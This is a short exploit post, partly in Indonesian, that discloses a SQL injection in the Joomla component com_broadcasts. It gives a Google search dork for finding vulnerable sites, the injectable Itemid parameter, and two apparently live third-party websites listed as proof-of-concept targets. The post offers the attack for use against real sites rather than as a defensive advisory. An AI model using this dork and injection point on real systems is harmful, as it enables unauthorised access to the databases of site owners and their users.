Joomla Component "com_broadcasts" Sql Injection Vulnerable M Miftahul Ulum rwxr-xr-x 0 3/16/2012

Filename	Joomla Component "com_broadcasts" Sql Injection Vulnerable
Permission	rw-r--r--
Author	M Miftahul Ulum
Date and Time	3/16/2012
Label
Action

Warning sql injection vulnerable joomla anda bisa... melihatnya monggo


###
# Title : Joomla Component "com_broadcasts" Sql Injection Vulnerable
# platform : php
# Type : Sql Injection Vulnerable
# Security Risk : Critical
# Tested on : Linux Backtrack 4r2
# Dork : inurl:"index.php?option=com_broadcasts"
###


Exploit :
http://[site]/index.php?option=com_broadcasts&Itemid=[inject here]


POC:
http://www.psblive.com/index.php?option=...Itemid%3D583
http://www.jockjive.com/index.php?option...&Itemid=65